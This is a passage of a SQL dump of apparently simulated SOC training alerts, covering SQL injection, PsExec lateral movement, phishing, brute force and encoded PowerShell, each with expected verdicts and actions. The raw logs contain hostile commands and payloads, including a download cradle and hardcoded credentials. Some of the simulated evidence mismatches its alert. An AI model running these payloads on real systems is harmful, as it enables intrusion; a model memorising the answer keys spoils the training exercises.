script.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.043Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"DEV-SERVER-01\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.043Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mbrown\\\",\\\"hostname\\\":\\\"DEV-SERVER-01\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File script.ps1\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1707, 'Web Request with SQL Injection Payload', 'critical', 'Sysmon', 'Detected an incoming web request containing a SQL injection payload targeting a vulnerable URL.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:05:22Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.20\",\"username\":\"\",\"hostname\":\"\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted web server\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"patch_vulnerability\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The SQL injection payload indicates a direct attempt to exploit database vulnerabilities, requiring immediate intervention.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.044Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:22Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.044Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:22Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.044Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:22Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.044Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:22Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.044Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:05:22Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1708, 'Unusual Internal Lateral Movement Detected', 'high', 'CrowdStrike', 'Detected lateral movement within the network using PSExec, possibly indicating a compromised internal account.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-14T23:30:12Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.35\",\"dst_ip\":\"192.168.1.40\",\"username\":\"jdoe\",\"hostname\":\"CORP-SRV-03\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.40 -u admin -p password cmd\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the source machine initiating PSExec\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted machine\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.40 -u admin -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Use of PSExec with hardcoded credentials indicating potential lateral movement\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec with hardcoded credentials for lateral movement is a strong indicator of malicious internal activity.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1709, 'Malicious Email URL Detected', 'medium', 'Proofpoint', 'An email was received containing a URL known to host phishing content, targeting the recipient to steal credentials.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:45:11Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.0.2.45\",\"dst_ip\":\"\",\"username\":\"j.smith@example.com\",\"hostname\":\"\",\"email_sender\":\"fraudulent@phishingsite.com\",\"url\":\"http://malicious-url.com/login\"}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"fraudulent@phishingsite.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email address associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-url.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing content aimed at credential harvesting\"}}],\"expected_actions\":[\"block_url\",\"alert_user\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The URL and sender email are both indicative of a phishing attempt, requiring immediate action to prevent credential theft.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Email URL Detected\",\"date\":\"2026-03-15T20:58:16.051Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1710, 'Failed Login Attempts from Foreign IP Address', 'medium', 'Firewall', 'Multiple failed login attempts detected from an external IP address, potentially indicating a brute force attack.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T04:20:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.5\",\"username\":\"admin\",\"hostname\":\"MAIL-SERVER\",\"failed_attempts\":5}', '2026-03-15 19:47:41', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP listed for suspicious activity, but not confirmed for malicious intent\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the mail server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common username targeted in login attempts\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The number of failed attempts is relatively low, suggesting an incorrect configuration or a user error rather than a targeted attack.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1711, 'PowerShell Download Cradle with Encoded Script Execution', 'critical', 'CrowdStrike', 'A PowerShell download cradle was detected executing an encoded script from a suspicious external IP, indicating a potential malware attack.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"WORKSTATION-01\",\"command_line\":\"powershell.exe -EncodedCommand aW1wb3J0LXNlc3Npb24gJ2h0dHBzOi8vZXhhbXBsZS5jb20vc2NyaXB0LnBzMSc=\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for distributing malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aW1wb3J0LXNlc3Npb24gJ2h0dHBzOi8vZXhhbXBsZS5jb20vc2NyaXB0LnBzMSc=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command used for malicious activity\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal company IP address\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command execution from a known malicious IP indicates a true positive malware incident.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1712, 'Suspicious Process Hollowing Detected in explorer.exe', 'high', 'SentinelOne', 'Process hollowing detected within explorer.exe, potentially indicating a sophisticated malware attempt to evade detection.', 'Malware', 'T1055.012', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"mjohnson\",\"hostname\":\"LAPTOP-02\",\"command_line\":\"explorer.exe hollowed_process.exe\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"hollowed_process.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File associated with malware variants\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"explorer.exe hollowed_process.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Process hollowing technique used to evade detection\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detection of process hollowing in explorer.exe is a strong indicator of malware attempting to evade standard detection mechanisms.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.055Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.055Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.055Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.055Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.055Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"LAPTOP-02\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1713, 'Failed Brute Force Attempt from Foreign IP', 'medium', 'Carbon Black', 'A series of failed login attempts from an unusual foreign IP has been detected, suggesting a possible brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.42\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"failed_attempts\":25}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted admin account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated login failures from a known malicious IP suggest a brute force attempt against the admin account.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:57:16.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:56:16.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:55:16.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:54:16.057Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.42\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1714, 'PowerShell Activity from Internal Network Detected', 'low', 'Sysmon', 'An internal IP executed a PowerShell command with encoded data. This might be a benign administrative script.', 'Malware', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"\",\"username\":\"jsmith\",\"hostname\":\"SERVER-03\",\"command_line\":\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\"}', '2026-03-15 19:48:17', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded PowerShell command likely used for administration\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell activity is consistent with legitimate administrative scripting and does not indicate malicious behavior.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.059Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"SERVER-03\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.059Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"SERVER-03\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.059Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"SERVER-03\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.059Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jsmith\\\",\\\"hostname\\\":\\\"SERVER-03\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnSGVsbG8gV29ybGQn\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.059Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 